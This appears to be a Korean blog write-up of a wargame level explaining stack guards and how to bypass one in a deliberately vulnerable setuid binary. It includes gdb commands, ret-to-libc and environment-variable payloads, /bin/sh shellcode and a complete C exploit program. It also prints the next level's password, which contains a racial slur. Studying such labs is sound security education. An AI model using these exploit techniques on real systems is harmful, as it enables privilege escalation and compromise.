반응형

login as : level13

password : have no clue

 


이전 레벨에서 나온 bof 취약점의 방어책으로 제시된 방법 중 하나가 stack guard(스택 가드)이다.

 

bof 취약점은 정확하게말하면 애플리케이션 개발자들의 실수이다.

 

가령 strcpy() 함수가아닌 strncpy() 함수를 사용해 복사하는 문자열의 길이를 제한해야 한다는것은 이미 상식에 가깝지만 애플리케이션 개발자들은 여전히 strcpy() 함수를 사용하는 실수를 범하고 있다.

 

물론, 기존에 만들어져 있던 코드를 재활용하는 현실 때문에 개발자가 일일이 입력값의 경계를 검사하는지 재활용하는 코드를 확인할 수 없는 상황이 주요 원인일 수도 있다.

 

기존 코드를 재활용하는 직접적인 예로 스마트폰에서 사용하는 리눅스 운영체제가 있는데, 서버에서 돌아가는 운영체제를 기준으로 보면 이미 몇 년 전 코드를 사용하는 것이다.

 

이러한 취약점을 보완하기 위해 나온 아이디어 중 하나가 스택 가느이고, 이 아이디어가 적용된 초기에는 공격자 관점에서 bof 취약점이 있는데도 공격이 성공하지 않는 당황스러운 상황에 빠졌다.

 

기존 공격 방법이 통하지 않는 상황에서 내공이 깊은 한 해커가 해당 시스템을 치밀하게 분석한 결과 스택 가드와 같은 버퍼 오버플로우 공격을 차단할 수 있는 방법이 있다는 사실을 알았고, 이를 우회하는 방법을 찾아서 제시한 것을 우리가 학습하는 것이다.

 


stack guard 개념

 

참고로 스택 가드에 저장된 값이 0x12345678인 것으로 가정하고 설명한다.

 

낮은 주소 256byte 4byte 4byte 4byte 높은 주소
char str[256] Stack Guard SFP RET
"AAAA" 0x12345678    

 

낮은 주소
256byte char str[256] "AAAA"
4byte Stack Guard 0x12345678
4byte SFP  
4byte RET  
높은 주소

 

이전 레벨에서 나온 bof를 설명하는 글과는 달리 스택 가드라고 하는 공간에 임의의 값이 할당돼 있다.

 

입력 내용을 저장하는 배열 변수(str)와 리턴 주소 사이에 스택 가드라고 하는 공간이 만들어져 있다.

 

스택 가드의 개념은 단순하다.

 

버퍼 오버플로우를 일으켜서 RET 주소를 변조하게 되면 당연히 스택 가드 영역도 다른 값으로 변조될 수밖에 없는데, 스택 가드에 저장된 값이 변경되었다는 것은 버퍼 오버플로우 공격이 일어났다는 것을 의미하고, 스택 가드의 변경이 확인되면 프로세스 실행을 차단해서 공격을 방어할 수 있다.

 

낮은 주소 256byte 4byte 4byte 4byte 높은 주소
char str[256] Stack Guard SFP RET
"AAAA ... AAAA" "AAAA" "AAAA" 새로운 주소
낮은 주소
256byte char str[256] "AAAA ... AAAA"
4byte Stack Guard "AAAA"
4byte SFP "AAAA"
4byte RET 새로운 주소
높은 주소

 

즉, 스택 가드가 있는 상황에서는 bof가 발생하면 위와 같이 스택 가드의 값이 변조되기 때문에 스택 가드에 있는 값이 원래의 값이었던 0x12345678과 같은지 비교하여 다르면 bof 공격이 발생한 것으로 간주하고 프로세스 실행을 중지시켜 악의적인 실행을 막는 것이 스택 가드이다.

 


level13 문제

 

 

hint 파일을 보면 위와 같다.

 

1. long 타입 변수 i를 선언하고, 0x1234567 값으로 초기화 한다.

2. 입력값을 저장할 char str[1024] 배열을 선언한다.

3. setreuid(3094, 3094) 코드는 level14 권한으로 프로세스가 실행되도록 설정한다.

4. i의 값이 0x1234567이 아니면 "Warnning: Buffer Overflow !!!\n" 문자열을 출력한다.

 

즉, 스택 가드가 변조됐을 때만 문자열이 화면에 출력되고, 스택 가드가 변조되지 않으면 아무것도 하지 않는다.

 


분석

cp attackme tmp

cd tmp

gdb -q ./attackme

 

cp 명령으로 attackme 파일을 tmp 파일로 옮긴 후 gdb로 연다.

 

 

procedure prelude(함수 프롤로그 부분) 과정에서 메모리 스택 공간이 어떻게 구성되는지 확인해보면 지역 변수를 위한 공간으로 0x418(1048)byte를 확보한다.

 

낮은 주소 1024byte 12byte 4byte 8byte 4byte 4byte 높은 주소
char str[1024] dummy long i(스택 가드) dummy SFP RET
    0x01234567      
낮은 주소
1024byte char str[1024]  
12byte dummy  
4byte long i(스택 가드) 0x01234567
8byte dummy  
4byte SFP  
4byte RET  
높은 주소

 

위의 메모리 스택 공간의 구조를 표현하면 위와 같다.

(참고로 0xfffffff4(%ebp)는 ebp-12이다.

0xffffffff - 0xfffffff4 + 1 을 하면 된다.)

 

위의 메모리 스택 구조에서 str 배열에 버퍼 오버플로우를 일으키면 스택 가드에 해당하는 long 타입의 i 변수의 값이 버퍼 오버플로우를 위해 입력한 값으로 변조되므로 i 변수의 값을 최초에 할당한 0x01234567과 비교하면 bof 공격이 있는지 확인할 수 있다.

 

낮은 주소 1024byte 12byte 4byte 8byte 4byte 4byte 높은 주소
char str[1024] dummy long i(스택 가드) dummy SFP RET
"aaaa ... aaaa" "aaaa ...." "aaaa" "aaaa" "aaaa" 변조 주소
낮은 주소
1024byte char str[1024] "aaaa ... aaaa"
12byte dummy "aaaa ...."
4byte long i(스택 가드) "aaaa"
8byte dummy "aaaa"
4byte SFP "aaaa"
4byte RET 변수 주소
높은 주소

 

버퍼 오버플로우 공격이 수행되면 위와 같이 리턴 주소 앞에는 임의의 a와 같은 임시값이 입력되고, 자신이 원하는 실행 코드가 있는 주소를 리턴 주소에 덮어쓸 것이다.

 

이렇게 되면 위와 같이 스택 가드인 i의 값이 다른 값(aaaa)으로 변조되어 버퍼 오버플로우 공격이 실행되고 있음을 알 수 있다.

 

이처럼 버퍼오버플로우 공격을 아래 코드와 같이 인지할 수 있고, "Warnning: Buffer Overflow !!!\n"라는 에러 메시지를 출력하고, 세그먼테이션 에러를 일으키면서 실행된 프로세스를 종료한다.

 

즉, 변조된 리턴 주소에 있는 코드가 실행되기 전에 프로세스가 종료되므로 셸을 얻는 공격에 실패한다.

 


kill() 함수

 

kill(프로세스 ID, 시그널 번호)

/*
프로세스 ID = 양수 : 입력된 양수의 프로세스 ID를 가진 프로세스에 시그널을 전달한다.
프로세스 ID = 0 : 호출된 프로세스의 그룹에 속한 모든 프로세스에 시그널을 전달한다.
프로세스 ID = -1 : 호출 프로세스가 시그널을 보낼 권한이 있는 모든 프로세스에 전달한다.
프로세스 ID < -1 : -(프로세스 ID) 그룹에 속한 모든 프로세스에 시그널을 전달한다.
*/

 

attackme 실행 중 kill(0, 11) 호출하면 호출된 프로세스의 그룹에 속한 모든 프로세스에 11(SIGSEGV)인 세그먼테이션 오류를 전달하기 때문에 버퍼 오버플로우가 발생하면 level13 계정의 attackme 바이너리는 경고문을 출력한 후 세그먼테이션 오류를 일으키면서 종료된다.

 


실제 스택 구조 확인

 

gdb -q ./attackme

b * 0x080484e5

r AAAAAAAA

x/264x $esp

 

위와 같이 입력하여 스택 가드 값을 비교하는 부분에서 bp가 걸리도록 한다.

 

그리고는 스택을 살펴본다.

 

 

위의 스택 사진을 보면 0xbffff53c 주소에 스택가드 값인 0x01234567이 있다.

 

이제 bof가 일어났을 때 값이 어떻게 바뀌는지 확인해본다.

 

r `python -c 'print "A" * 1048'`

 

위와 같이 str 배열을 오버플로우 시키자 0x01234567 스택 가드 값이 있던 부분이 0x41414141로 변조된 것을 볼 수 있다.

 

 

이어서 프로그램을 실행하면 hint에 제시된 스택 가드 코드 때문에 위와 같이 세그먼테이션 폴트 에러가 발생하면서 프로그램 실행이 종료되고 공격을 차단할 수 있다.

 


스택 가드 우회

 

스택 가드를 우회하는 방법은 의외로 간단한데, 원래 스택 가드의 값을 제 위치에 정확하게 덮어쓰면 된다.

 

그러면 스택 가드 변조 여부를 체크하는 부분에서 bof 공격을 탐지하지 못하게 되어 해커가 원하는 코드를 실행할 수 있다.

 

낮은 주소 1024byte 12byte 4byte 8byte 4byte 4byte 높은 주소
char str[1024] dummy long i(스택 가드) dummy SFP RET
    0x01234567      
낮은 주소
1024byte char str[1024]  
12byte dummy  
4byte long i(스택 가드) 0x01234567
8byte dummy  
4byte SFP  
4byte RET  
높은 주소

 

현재 메모리 구조는 위와 같다.

 

1024 + 12 + 스택 가드 + 8 + 4 + 원하는 주소

= 1036 + \x67\x45\x23\x01 + 12 + \xXX\xXX\xXX\xXX

 

r `python -c 'print "A" * 1036 + "\x67\x45\x23\x01" + "B" * 12 + "\xef\xbe\xad\xde"'`

 

위와 같이 확인용 공격 스크립트를 인자로 주어 실행하고 스택을 살펴본다.

 

 

위의 사진을 보면 스택 가드에 원래 있던 값인 0x01234567이 정상적으로 덮여쓰여지면서 RET 주소를 0xdeadbeef로 변조한 것을 확인할 수 있다.

 

이제 어떻게 값을 넣을지 확인했으니 실제 바이너리를 공격한다.

 


공유 라이브러리의 정보를 이용해 공격

 

두 번 이상 실행했는데 값이 변하지 않았으므로  ASLR이 걸려있진 않다.

 

nm /lib/tls/libc.so.6 | grep system

string -tx /lib/tls/libc.so.6 | grep "/bin/sh"

 

위의 두 명령으로 system() 함수의 주소(0x4203f2c0)와 "/bin/sh" 문자열의 주소(42127ea4)를 가져온다.

 

1024 + 12 + 스택 가드 + 8 + 4 + 원하는 주소

= 1036 + \x67\x45\x23\x01 + 12 + \xXX\xXX\xXX\xXX

./attackme `python -c 'print "A" * 1036 + "\x67\x45\x23\x01" + "B" * 12 + "\xc0\xf2\x03\x42" + "CCCC" + "\xa4\x7e\x12\x42"'`

 

이전에 분석했던 메모리 구조를 기반으로 공격 스크립트를 위와 같이 작성하고 공격하면 위와 같이 level14의 셸을 딸 수 있다.

 

level14의 password는 what that nigga what?이다.


환경 변수를 이용해 공격

 

export sc=`python -c 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`

 

위와 같이 환경변수 sc에 셸코드를 담는다.

 

이전 레벨에서 사용하던 셸 코드와는 좀 다른 형태이지만 이 셸코드도 똑같이 /bin/sh 셸을 실행시키는 코드이다.

 

cd tmp

vi getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}

 

위의 명령으로 tmp 디렉토리로 이동 후 getenvaddr.c 파일에 위의 코드를 작성해준다.

 

gcc -o getenvaddr getenvaddr.c

./getenvaddr sc ./attackme

 

그리고 위와 같이 컴파일 후 sc 환경 변수의 주소를 알아온다.

 

sc 환경 변수의 주소는 0xbfffff35이다.

 

./attackme `python -c 'print "A" * 1036 + "\x67\x45\x23\x01" + "B" * 12 + "\x35\xff\xff\xbf"'`

 

위와 같이 level13 디렉토리로 이동 후 level14 권한이 걸린 attackme 파일에 공격 스크립트를 실행하면 셸을 딸 수 있다.

 

level14의 password는 what that nigga what?이다.


exploit code

 

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define NOP1 120
#define NOP2 891
#define BUFSIZE 1056   /* NOPs(120) + shellcode(25) + NOPs(891) + stackguard(4) +  + NOPs(8) + SFP(4) + ret(4) */

// 변조하면 안되는 스태 가드의 값
char stackgd[] = "\x67\x45\x23\x01";

// 배시셸을 실행시키는 셸코드
char shellcode[] =
        "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
        "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

// char str[1024] 배열의 시작 주소
char retAddr[] = "\xa0\xf2\xff\xbf";

int main()
{
    char cmdBuf[BUFSIZE];
    int i, j, k, l, stackLen, shellLen, retLen;

	// 스택가드, 셸코드, 리턴 주소의 길이 확인
    stackLen = strlen(stackgd);
    shellLen = strlen(shellcode);
    retLen = strlen(retAddr);

	// 셸코드 앞부분까지 NOP 썰매 할당
    for(i=0; i<NOP1; i++)
        cmdBuf[i] = NOP;
    
	// NOP 뒤에 셸코드 할당
    for(j=0; j<shellLen; j++)
        cmdBuf[i++] = shellcode[j];
    
	// 나머지 공간에 NOP 썰매 할당
    for(j=0; j<NOP2; j++)
        cmdBuf[i++] = NOP;
    
	// 스택 가드의 원본 덮어 쓰기
    for(j=0; j<stackLen; j++)
        cmdBuf[i++] = stackgd[j];
    
	// 나머지 공간에 NOP 썰매 할당
    for(j=0; j<retLen*3; j++)
        cmdBuf[i++] = NOP;
    
	// 배시 셸코드의 주소 할당
    for(j=0; j<retLen; j++)
        cmdBuf[i++] = retAddr[j];

    execl("/home/level13/attackme", "attackme", cmdBuf, 0);

}

 


스택 가드와 스택 쉴드에 대한 프랙 원문은 아래의 링크에서 확인할 수 있다.

 

http://phrack.org/issues/56/5.html#article

반응형

+ Recent posts